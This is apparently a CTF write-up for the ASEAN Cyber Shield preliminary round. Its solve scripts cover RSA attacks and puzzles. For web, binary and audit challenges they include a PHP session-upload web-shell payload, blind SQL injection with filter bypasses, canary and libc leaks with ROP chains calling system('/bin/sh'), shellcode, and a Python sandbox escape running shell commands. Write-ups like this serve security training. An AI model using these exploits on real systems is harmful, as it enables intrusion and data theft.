ASEAN Cyber Shield Hacking Contest Preliminary Round - Writeup

Crypto

CommonRSA

Common modulus attack

script:

from Crypto.Util.number import long_to_bytes
from sage.all import xgcd
with open("pubkey.txt", "r") as f:
    n, e1, e2 = list(map(int, f.read().splitlines()))
with open("ciphertexts.txt", "r") as f:
    c1, c2 = list(map(int, f.read().splitlines()))
g, a, b = xgcd(e1, e2) # extend euclid algorithm
c1 = pow(c1, a, n)
c2 = pow(c2, b, n)
print(long_to_bytes(c1*c2 % n))

fiboCrypt

Key is the 0xC0FFEE'th fibonacci. Sagemath alreally have a fast compute function for it

script:

from sage.all import fibonacci
from hashlib import sha512

FLAG = b"ACS{??????????????????????????????????}"

def gen_key(k):
    n = fib(k)
    h = sha512(str(n).encode()).digest()
    return h
def unpad(m):
    return m[:len(FLAG)]
with open("output.txt", "r") as f:
    ct = bytes.fromhex(f.read().strip())

def decrypt(c, key):
    m = bytes([a ^ b for a, b in zip(c, key)])
    m = unpad(m)
    return m
k = 0xC0FFEE
fib = fibonacci
def gen_key(k):
    n = fib(k)
    print(n.nbits())
    h = sha512(str(n).encode()).digest()
    return h
key = gen_key(k)
pt = decrypt(ct, key)
print(pt)

HomoRSA

Server will sign a message for us, but didn't check message smaller than N

script:

from pwn import remote, process, args
from Crypto.Util.number import bytes_to_long, long_to_bytes
HOST = ""
PORT = 1111
ADMIN_MSG = b"There are two ways to annoy people. The first thing is to stop talking and"
if args.LOCAL:
    io = process("./challenge.py")
else:
    io = remote(HOST, PORT)

def rla(a):
    io.recvuntil(a)
    return io.recvline(0)
n = int(rla(b"Modulus:  "), 16)
e = int(rla(b"Exponent:  "), 16)
print(f"{n = }")
print(f"{e = }")
m = bytes_to_long(ADMIN_MSG)
m_sus = m + n

print(m.bit_length())
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"> ", long_to_bytes(m_sus).hex().encode())
sig = int(io.recvline(0).split(b":  ")[-1], 16)
print(sig)


io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"> ", hex(sig)[2:].encode())
io.interactive()

Misc

calccalccalc

Just replace the operator word with the symbol and than eval

script:

from pwn import remote
from tqdm import trange

func = [
    ("plus", "+"),
    ("minus", "-"),
    ("multi", "*"),
    ("divide", "//"),
    ("mod", "%"),
    ("and", "&"),
    ("xor", "^"),
    ("or", "|"),
]

def translate(expr):
    for key, value in func:
        expr = expr.replace(key, value)
    return expr


io = remote("192.168.0.45", 50000)

io.sendafter(b"Good Luck!\n", b"\n")
for i in trange(100):
    expr = io.recvuntil(b" = ", drop=True).decode()
    expr = translate(expr)
    io.sendline(str(eval(expr)).encode())
io.interactive()

imgimgimg

first, binwalk it and we can see it has another png file. Open it to get the password

Unzip the other zip file, we have 16 picture that combine into a QR Code picture

Web

EASY PHPINFO

This challenge is about LFI2RCE via php session upload progress, by input ?num=\n1 we can get the output of phpinfo page, save the value of session.save_path and then abusing lfi bug to include the session file

final script:

import requests
import base64
import re

url = "http://192.168.0.45:20001"

def exploit():
    headers = {
        "Cookie": "PHPSESSID=acd"
    }


    data = {
        "PHP_SESSION_UPLOAD_PROGRESS": "<?php echo system($_GET['cmd']); ?>" ,
    }


    files = {
        "file": ("passwd", 'cccccccccccccccccc', "application/octet-stream"),
    }

    requests.post(url, headers=headers, data=data, files=files, verify=False, proxies={"http":"http://127.0.0.1:8080"})
    response = requests.get(url + "/", params={"num": "\n1", "page": "/tmp/83031eb8-41ac-11ee-b1b3-009337b0183d/sess_acd", "cmd": "cat /flag"}, headers=headers, verify=False, proxies={"http":"http://127.0.0.1:8080"})
    print(response.text)



if __name__ == "__main__":
    exploit()

Render board

There are two bugs in this challenge, sqli to get admin account and then rce via ejs rendering engine.

sqli in the check duplication account functionality:

script for getting column name of table user

import requests

url = "http://192.168.0.45:22223"

def bypass(payload):
    for p in payload:
        if p in repl:
            payload = payload.replace(p, repl[p])
        if("or" in payload):
            payload = payload.replace("or", "oliker")
        if("and" in payload):
            payload = payload.replace("and", "alikend")
        if("substr" in payload):
            payload = payload.replace("substr", "sublikestr")
    return payload
        
### "%27/**/oliker/**/%281=0%29/**/oliker/**/%27"
repl = {"'": "%27",
        " ": "/**/",
        "(": "%28",
        ")": "%29",
        "_": r"%5f",
        ".": "%2e"}


column = ""
for i in range(1, 30):
    for j in range(32, 127):
        payload = f"""' or IF((select ord(substr(column_name,{i},1)) from information_schema.columns where table_name='user' and table_schema=database() limit 2,1)={j},1,0) or 'a'='b""" 
        #print(payload)
        payload = bypass(payload)
        
        # print(payload)
        data_json = {"username": payload}
        r = requests.post(url + "/auth/check_duplicate", json=data_json, proxies={"http": "http://127.0.0.1:8080"})
        if("false" in r.text):
            column += chr(j)
            print(column)
            break

=> userid and passwd

Then change it a litle bit to find the passwd of admin user acs_admin

userid = "acs_adm"
for i in range(1, 30):
    for j in range(32, 127):
        payload = f"""' or IF((select ord(substr(passwd,{i},1)) from user where is_admin=1 limit 0,1)={j},1,0) or 'a'='b""" 
        #print(payload)
        payload = bypass(payload)
        
        # print(payload)
        data_json = {"username": payload}
        r = requests.post(url + "/auth/check_duplicate", json=data_json)
        if("false" in r.text):
            column += chr(j)
            print(column)
            break

After that, login into admin account and then rce to get the flag

Capture The Image

Xss steal secret value in bot cookie via svg tag with onload attribute and then capture the image with url view-source:file:///flag

get secret

screen the flag

flag

Flask newbie

SSTI at /{{config}} to leak jwt secret key, then impersonate admin user poppo and exploit local file read at /downloadifyoucan?filenameyoucandoit=...

---

Binary

Spim

The Program will ask user to input a mips shellcode, shuffles opcodes and execute that shellcode with mixed opcodes:

Fortunately we're able to see mixed opcode so we can write a script to mix the opcode for our shell that can execute execve with argument /bin/sh:

from pwn import *

r = process('./spimspim.sh')

shellcode = b"\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xf4\xff\xaf\xaf\x73\x68\x0f\x3c\x6e\x2f\xef\x35\xf8\xff\xaf\xaf\x26\x78\xef\x01\xfc\xff\xaf\xaf\x00\x00\x05\x24\x00\x00\x06\x24\xab\x0f\x02\x24\xf4\xff\xa4\x27\x0c\x00\x00\x00"

r.recvuntil(b'hexdump of op table: \n')

s = r.recvuntil(b'hexdump of register')
li = s.split(b'|')

op_table = b''

for i in li:
    if b'\n' in i:
        if b'hexdump' in i: continue
        op_table += bytes.fromhex(i.split(b'\n')[1].decode())
    else:
        op_table += bytes.fromhex(i.decode())

print('op_table: ', op_table)
r.recvuntil(b'table: \n')
s = r.recvuntil(b'hexdump of funct')
li = s.split(b'|')

register_table = b''

for i in li:
    if b'\n' in i:
        if b'hexdump' in i: continue
        register_table += bytes.fromhex(i.split(b'\n')[1].decode())
    else:
        register_table += bytes.fromhex(i.decode())
print('register_table: ', register_table)
r.recvuntil(b'table: \n')

funct_table = b''
for i in range(4):
    x = r.recvuntil(b'|')[:-1]
    if b'\n' in x:
        if b'hexdump' in x: continue
        funct_table += bytes.fromhex(x.split(b'\n')[1].decode())
    else:
        funct_table += bytes.fromhex(x.decode())
print('funct_table: ', funct_table)

# -- Shuffle opcode

i_opcode = [4, 5, 8, 9, 10, 11, 12, 13, 15, 35, 36, 37, 40, 41, 43, 48, 56]
j_opcode = [2, 3]
r_opcode = [0]

li_int = []

def find_id_op(val):
    return op_table.index(bytes([val]))

def find_id_reg(val):
    return register_table.index(bytes([val]))

def find_id_func(val):
    return funct_table.index(bytes([val]))

def shuffle_iopcode(val):
    binary_form = bin(val)[2:].rjust(32, '0')

    opcode = bin(find_id_op(int(binary_form[:6], 2)))[2:].rjust(6, '0')
    rs =  bin(find_id_reg(int(binary_form[6:6+5], 2)))[2:].rjust(5, '0')
    rt = bin(find_id_reg(int(binary_form[11:11+5], 2)))[2:].rjust(5, '0')
    imm = binary_form[16:32]

    return int(opcode + rs + rt + imm, 2)

def shuffle_ropcode(val):
    binary_form = bin(val)[2:].rjust(32, '0')

    opcode = bin(find_id_op(int(binary_form[:6], 2)))[2:].rjust(6, '0')
    rs =  bin(find_id_reg(int(binary_form[6:6+5], 2)))[2:].rjust(5, '0')
    rt = bin(find_id_reg(int(binary_form[11:11+5], 2)))[2:].rjust(5, '0')
    rd = bin(find_id_reg(int(binary_form[16:16+5], 2)))[2:].rjust(5, '0')
    shamt = binary_form[21:21+5]
    funct = bin(find_id_func(int(binary_form[26:26+6], 2)))[2:].rjust(6, '0')

    return int(opcode + rs + rt + rd + shamt + funct, 2)


for i in range(0, len(shellcode), 4):
    li_int.append(u32(shellcode[i:i+4]))

for i in range(len(li_int)):
    binary_form = bin(li_int[i])[2:].rjust(32, '0')
    print(binary_form)

    opcode = int(binary_form[:6], 2)
    print(hex(opcode))

    if opcode in i_opcode:
        li_int[i] = shuffle_iopcode(li_int[i])
    elif opcode in r_opcode:
        li_int[i] = shuffle_ropcode(li_int[i])
    else:
        print('lol')
        exit(-1)

shellcode = b''
for i in range(len(li_int)):
    shellcode += p32(li_int[i])

r.sendline(shellcode + b'\x00' * 4)

r.interactive()

# 0x3fdc1000:  lui     t7,0x6962
# 0x3fdc1004:  ori     t7,t7,0x2f2f
# 0x3fdc1008:  sw      t7,-12(sp)
# 0x3fdc100c:  lui     t7,0x6873
# 0x3fdc1010:  ori     t7,t7,0x2f6e
# 0x3fdc1014:  sw      t7,-8(sp)
# 0x3fdc1018:  xor     t7,t7,t7
# 0x3fdc101c:  sw      t7,-4(sp)
# 0x3fdc1020:  li      a1,0
# 0x3fdc1024:  li      a2,0
# 0x3fdc1028:  li      v0,4011
# 0x3fdc102c:  addiu   a0,sp,-12
# 0x3fdc1030:  syscall

Maze

The challenge will show a random maze each stage, and after successfully solve it (by reaching the final tile of the maze, which is at [0x1f, 0x1f]), the challenge will create a character for the flag.

Fast way to solve is to patch the program to win everytime the game starts -> the flag will appear after we finish every level

ACS{3e88fc35ac5b6011b6e7e32afd9552666db7bb21d30e83859665ea5e2cae99bc_I7s_funny_M@ze_Gam3!_C0n9r@tu1ation$_On_C13ar!}

expr

This challenge will check our flag by spawning thread, and do a comparison check. By extracting every comparison, we can use z3 and some guess work to recover the flag.

from z3 import *

arg1 = [BitVec(f"flag_{i}", 64) for i in range(0, 36)]
s = Solver()

def u32(x, id):
    return (x[id + 3] << 24) + (x[id + 2] << 16) + (x[id + 1] << 8) + x[id + 0]

for i in range(32):
    s.add(0 <= arg1[i], arg1[i] <= 0x100)
s.add(arg1[0] == ord('A'))

rax_3 = LShR(u32(arg1, 8), 5) & 0x3f
rax_7 = LShR(u32(arg1, 0x1c), 2) & 0x3f
s.add((((((rax_3 << 0xb) + 7) ^ LShR(rax_7, 4)) + (((rax_7 << 0xd) + 0x3d) ^ LShR(rax_3, 3))) & 0x3f) == 0x3f)

rax_3 = LShR(u32(arg1, 0x14), 0) & 0x7ff
rax_7 = LShR(u32(arg1, 0x1b), 2) & 0x7ff
s.add((((((rax_3 << 0xd) + 0x557) ^ LShR(rax_7, 2)) + (((rax_7 << 6) + 0x10c) ^ LShR(rax_3, 6))) & 0x7ff) == 0x79d)

rax_3 = LShR(u32(arg1, 0xc), 3) & 0x7fff
rax_7 = LShR(u32(arg1, 2), 4) & 0x7fff
s.add((((((rax_3 << 0xc) + 0xec6) ^ LShR(rax_7, 0xb)) + (((rax_7 << 1) + 0x7b9d) ^ LShR(rax_3, 3))) & 0x7fff) == 0x399a)

rax_3 = LShR(u32(arg1, 0x13), 2) & 0x3f
rax_7 = LShR(u32(arg1, 7), 4) & 0x3f
s.add((((((rax_3 << 7) + 0x27) ^ LShR(rax_7, 1)) + (((rax_7 << 1) + 0x39) ^ LShR(rax_3, 1))) & 0x3f) == 0x17)

rax_3 = LShR(u32(arg1, 0xf), 2) & 0x7ff
rax_7 = LShR(u32(arg1, 7), 2) & 0x7ff
s.add((((((rax_3 << 0xf) + 0x58f) ^ LShR(rax_7, 4)) + (((rax_7 << 1) + 0x383) ^ LShR(rax_3, 0xe))) & 0x7ff) == 0x16c)

rax_3 = LShR(u32(arg1, 0x13), 4) & 0x7fff
rax_7 = LShR(u32(arg1, 0xe), 7) & 0x7fff
s.add((((((rax_3 << 4) + 0x7482) ^ LShR(rax_7, 9)) + (((rax_7 << 0xc) + 0x7037) ^ LShR(rax_3, 0xf))) & 0x7fff) == 0x77f8)

rax_3 = LShR(u32(arg1, 2), 6) & 0x3fff
rax_7 = LShR(u32(arg1, 0x10), 7) & 0x3fff
s.add((((((rax_3 << 0xa) + 0x1575) ^ LShR(rax_7, 0xc)) + (((rax_7 << 0xc) + 0x2f62) ^ LShR(rax_3, 1))) & 0x3fff) == 0x70b)

rax_3 = LShR(u32(arg1, 0x10), 4) & 0x3f
rax_7 = LShR(u32(arg1, 0x10), 0) & 0x3f
s.add((((((rax_3 << 0xe) + 0x3b) ^ LShR(rax_7, 0xc)) + (((rax_7 << 3) + 0x33) ^ LShR(rax_3, 0xc))) & 0x3f) == 6)

rax_3 = LShR(u32(arg1, 0x1b), 6) & 0x7f
rax_7 = LShR(u32(arg1, 8), 2) & 0x7f
s.add((((((rax_3 << 5) + 0x35) ^ LShR(rax_7, 4)) + (((rax_7 << 0xd) + 0x65) ^ LShR(rax_3, 3))) & 0x7f) == 0x20)

rax_3 = LShR(u32(arg1, 0xf), 1) & 0x1fff
rax_7 = LShR(u32(arg1, 2), 0) & 0x1fff
s.add((((((rax_3 << 6) + 0x6f6) ^ LShR(rax_7, 4)) + (((rax_7 << 0xf) + 0x175b) ^ LShR(rax_3, 5))) & 0x1fff) == 0x41a)

rax_3 = LShR(u32(arg1, 0xa), 5) & 0x3fff
rax_7 = LShR(u32(arg1, 0x15), 1) & 0x3fff
s.add((((((rax_3 << 4) + 0x96f) ^ LShR(rax_7, 0xf)) + (((rax_7 << 0xf) + 0x7a5) ^ LShR(rax_3, 1))) & 0x3fff) == 0x3a87)

rax_3 = LShR(u32(arg1, 9), 0) & 0x3ff
rax_7 = LShR(u32(arg1, 0x12), 7) & 0x3ff
s.add((((((rax_3 << 2) + 0x370) ^ LShR(rax_7, 5)) + (((rax_7 << 0xf) + 0x186) ^ LShR(rax_3, 0xb))) & 0x3ff) == 0x2bd)

rax_3 = LShR(u32(arg1, 0x14), 6) & 0xfff
rax_7 = LShR(u32(arg1, 4), 1) & 0xfff
s.add((((((rax_3 << 0xc) + 0x537) ^ LShR(rax_7, 0xd)) + (((rax_7 << 5) + 0x774) ^ LShR(rax_3, 5))) & 0xfff) == 0x409)

rax_3 = LShR(u32(arg1, 0x12), 6) & 0xfff
rax_7 = LShR(u32(arg1, 0x11), 1) & 0xfff
s.add((((((rax_3 << 2) + 0xd0c) ^ LShR(rax_7, 0xa)) + (((rax_7 << 1) + 0xce6) ^ LShR(rax_3, 0xc))) & 0xfff) == 0x190)

rax_3 = LShR(u32(arg1, 0x12), 0) & 0x3ff
rax_7 = LShR(u32(arg1, 1), 7) & 0x3ff
s.add((((((rax_3 << 0xe) + 0x314) ^ LShR(rax_7, 0xf)) + (((rax_7 << 0xb) + 0x241) ^ LShR(rax_3, 4))) & 0x3ff) == 0x17a)

rax_3 = LShR(u32(arg1, 0x1b), 7) & 0x1ff
rax_7 = LShR(u32(arg1, 0x17), 0) & 0x1ff
s.add((((((rax_3 << 2) + 0x163) ^ LShR(rax_7, 0xe)) + (((rax_7 << 1) + 0x121) ^ LShR(rax_3, 0xd))) & 0x1ff) == 0xce)

rax_3 = LShR(u32(arg1, 0xc), 0) & 0xfff
rax_7 = LShR(u32(arg1, 0xa), 4) & 0xfff
s.add((((((rax_3 << 2) + 0x5f9) ^ LShR(rax_7, 0xa)) + (((rax_7 << 0xa) + 0xf9e) ^ LShR(rax_3, 0xc))) & 0xfff) == 0x2a7)

rax_3 = LShR(u32(arg1, 8), 3) & 0x3ff
rax_7 = LShR(u32(arg1, 0xd), 2) & 0x3ff
s.add((((((rax_3 << 5) + 0x3c) ^ LShR(rax_7, 8)) + (((rax_7 << 0xc) + 0x213) ^ LShR(rax_3, 1))) & 0x3ff) == 0x3ce)

rax_3 = LShR(u32(arg1, 0x11), 3) & 0x3f
rax_7 = LShR(u32(arg1, 0x1a), 3) & 0x3f
s.add((((((rax_3 << 3) + 0x20) ^ LShR(rax_7, 4)) + (((rax_7 << 8) + 0x2a) ^ LShR(rax_3, 7))) & 0x3f) == 4)

rax_3 = LShR(u32(arg1, 7), 1) & 0x7fff
rax_7 = LShR(u32(arg1, 1), 6) & 0x7fff
s.add((((((rax_3 << 0xa) + 0x3ab2) ^ LShR(rax_7, 8)) + (((rax_7 << 0xd) + 0x1c42) ^ LShR(rax_3, 3))) & 0x7fff) == 0x6220)

rax_3 = LShR(u32(arg1, 0xd), 0) & 0xfff
rax_7 = LShR(u32(arg1, 0x14), 0) & 0xfff
s.add((((((rax_3 << 0xa) + 0xbd1) ^ LShR(rax_7, 4)) + (((rax_7 << 6) + 0x9f6) ^ LShR(rax_3, 0xb))) & 0xfff) == 0x239)

rax_3 = LShR(u32(arg1, 2), 0) & 0x3f
rax_7 = LShR(u32(arg1, 0x1b), 3) & 0x3f
s.add((((((rax_3 << 8) + 0x16) ^ LShR(rax_7, 5)) + (((rax_7 << 1) + 0x1f) ^ LShR(rax_3, 3))) & 0x3f) == 0x3c)

rax_3 = LShR(u32(arg1, 1), 2) & 0x7f
rax_7 = LShR(u32(arg1, 0x17), 5) & 0x7f
s.add((((((rax_3 << 0xb) + 0x33) ^ LShR(rax_7, 8)) + (((rax_7 << 0xe) + 0xd) ^ LShR(rax_3, 8))) & 0x7f) == 0x40)

rax_3 = LShR(u32(arg1, 0x18), 2) & 0xfff
rax_7 = LShR(u32(arg1, 1), 0) & 0xfff
s.add((((((rax_3 << 5) + 0xf24) ^ LShR(rax_7, 8)) + (((rax_7 << 3) + 0xcf2) ^ LShR(rax_3, 4))) & 0xfff) == 0x7d9)

rax_3 = LShR(u32(arg1, 0x18), 7) & 0x7ff
rax_7 = LShR(u32(arg1, 0x15), 1) & 0x7ff
s.add((((((rax_3 << 5) + 0x7eb) ^ LShR(rax_7, 0xd)) + (((rax_7 << 4) + 0x789) ^ LShR(rax_3, 1))) & 0x7ff) == 0x3d2)
...

ACS{y0u50lv3DtH33xpr35510N5!}

rustarm

A simple encryption algorithm, we can easily write a script to decrypt the flag

x = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*()-_=+'
key = 'ACSISACEANCYBERSECURITY'
enc = bytes.fromhex('2c171c245d43000e3a24202323472130092757002a2b15')

for i in range(23):
    print(x[x.index(key[i]) ^ enc[i]], end = '')

ACS{cR0s$_C0mpi1e_wi7h_Rust}

Register

It has 2 buffer overflow bugs. The first one can leak canary because printf does not stop at null byte. We will use the second bof to partial overwrite main's return address to <__libc_start_call_main+121>, which can return to main one more time, then leak libc address then rop.

from pwn import *

p = remote('192.168.0.45', 19876)
# p = process('./register')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

payload = b'a'*0x29
p.sendafter(b'> ', payload)

p.recvuntil(b'a'*0x29)

canary = u64(b'\x00' + p.recv(7))
print(hex(canary))

payload = b'a'*0x28
payload += p64(canary)
payload += b'a'*8
payload += b'\x89'

gdb.attach(p, 'b*main+302')
p.sendafter(b'> ', payload)

payload = b'a'*0x38
p.sendafter(b'> ', payload)

p.recvuntil(b'a'*0x38)
libc.address = u64(p.recv(6) + b'\x00'*2) - 0x29d90
print(hex(libc.address))

pop_rdi = libc.address + 0x2a3e5
bin_sh = next(libc.search(b'/bin/sh'))


payload = b'a'*0x28
payload += p64(canary)
payload += b'a'*8
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(pop_rdi + 1)
payload += p64(libc.sym['system'])

p.sendafter(b'> ', payload)

p.interactive()

Sig Me

Set signal to SIGALRM.

Coding test

Use getdents syscall to get flag name. Then orw.

from pwn import *

context.arch = "x86_64"

# sh = shellcraft.open("/home/ctf_user/flag_ed807a45f84463aac37414be73d5849c")
# sh += shellcraft.read(3, 'rsp', 0x100)
# sh += shellcraft.write(1, 'rsp', 'rax')

# print(asm(sh))

# p = process('./coding_test')
p = remote('192.168.0.45', 10137)

p.recv()
# gdb.attach(p)
# p.sendline(asm(sh))

# /home/ctf_user/flag_ed807a45f84463aac37414be73d5849c
p.sendline(asm('''
push 0
mov rbx, 0x0000000063393438
push rbx
mov rbx, 0x3564333765623431
push rbx
mov rbx, 0x3437336361613336
push rbx
mov rbx, 0x3434386635346137
push rbx
mov rbx, 0x303864655f67616c
push rbx
mov rbx, 0x662f726573755f66
push rbx
mov rbx, 0x74632f656d6f682f
push rbx
mov rdi, rsp
mov rax, 2
xor rsi, rsi
xor rdx, rdx
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
xor rax, rax
syscall
mov rdi, 1
mov rax, 1
syscall
'''))

print(p.recv(0x100))

# p.sendline(asm('''
# mov rbx, 0x002f726573755f66
# push rbx
# mov rbx, 0x74632f656d6f682f
# push rbx
# mov rdi, rsp
# xor rsi, rsi
# xor rdx, rdx
# mov rax, 2
# syscall

# mov rdi, rax
# mov rsi, rsp
# mov rdx, 0x200
# mov rax, 217
# syscall

# mov rdi, 1
# mov rax, 1
# mov rsi, rsp
# mov rdx, 0x100
# syscall
# '''))


p.interactive()

Rendezvous

Bof in block command. Leak through content.

from pwn import *

# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
# p = process('./rendezvous')
# p = process('./rendezvous_patched')
p = remote('192.168.0.45', 60002)

script = '''
b*0x55555555787C
b*0x555555557EF7
b*0x555555558060
b*0x555555558609
b*0x5555555555C3
b*0x5555555556bc
d 2 3
c
'''

random_str = p.recvline()[:-1].decode()
# print(random_str)

# set pass
payload = b'\xef\xbb\xbf'
payload += f'{{"cmd":0, "pass":"{random_str}"}}'.encode()
p.sendline(payload)

payload = b'\xef\xbb\xbf'
key = '0,'*0x400 + '0'
payload += f'{{"cmd":1, "key":[{key}]}}'.encode()
p.sendline(payload)

payload = b'\xef\xbb\xbf'
block = '0,'*0x108 + '"a",'*0x100 + '"a"'
content = '0,'*0x150 + '0'

payload += f'{{"cmd":2, "block":[{block}], "content":[{content}]}}'.encode()
p.sendline(payload)

p.recvline()
p.recvline()

res = p.recvrepeat(0.5)

canary = u64(res[0x108:0x110])
print(hex(canary))

libc.address = u64(res[0x138:0x140]) - 0x29d90
print(hex(libc.address))

pop_rdi = libc.address + 0x2a3e5
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']

rop = b'a'*0x108
rop += p64(canary)
rop += b'a'*8
rop += p64(pop_rdi)
rop += p64(bin_sh)
rop += p64(pop_rdi + 1)
rop += p64(system - 16)

payload = b'\xef\xbb\xbf'
block = ''
for i in rop:
	block += str(i) + ','
block += '0'
content = '0,'*0x150 + '0'

# gdb.attach(p, script)
payload += f'{{"cmd":2, "block":[{block}]}}'.encode()
print(payload)
p.sendline(payload)

p.interactive()

Audit

escape room

Server receive code from input and check blacklist then exec, but it didn't clean the global variables. So in globals() already have module "os", "sys", alse use __dict__ to acess to the method in the object

solve.py:

from pwn import remote, process, args
from Crypto.Util.number import bytes_to_long, long_to_bytes
HOST = "192.168.0.45"
PORT = 50137
ADMIN_MSG = b"There are two ways to annoy people. The first thing is to stop talking and"
io = remote(HOST, PORT)
src = open("src.py", "r").read() + "\nEOF\n"
io.sendafter(b"> ", src)
io.interactive()

src.py:

lmao = globals()["o" + "s"]
print(lmao.__dict__["sy"+"stem"]("""`cd home && cd ctf_user && cat fla* | base64 | tr -d "\n"`"""))

Key in haystack

If command is ADMIN, it will open the key file, and reads its content to the stack, but later when we use the insert function, the size is not initialized and will still hold the value of the key, so we can leak 3 bytes of the key (still need to send the first byte to read function). Then bruteforce one byte to get the correct key, insert shellcode then execute it.

from pwn import *

p = process('./chall')
# p = remote('192.168.0.45', 5555)

# ip = b'127.0.0.1'
port = 9999
sc = b"\x48\x31\xD2\x48\x31\xF6\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x6A\x00\x53\x54\x5F\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05"


# gdb.attach(p, 'b*main+71')
sleep(2)
p.sendline(b'INSERT'.ljust(9, b'\x00'))
sleep(2)
p.send(p32(len(sc)))
sleep(2)
p.send(sc)

for i in range(0x40, 0x41):
# for i in range(0xff + 1):
    p.sendline(b'ADMIN'.ljust(9, b'\x00'))
    a = (0x4e6230 << 8) + i
    print(p32(a))
    p.send(p32(a))

p.interactive()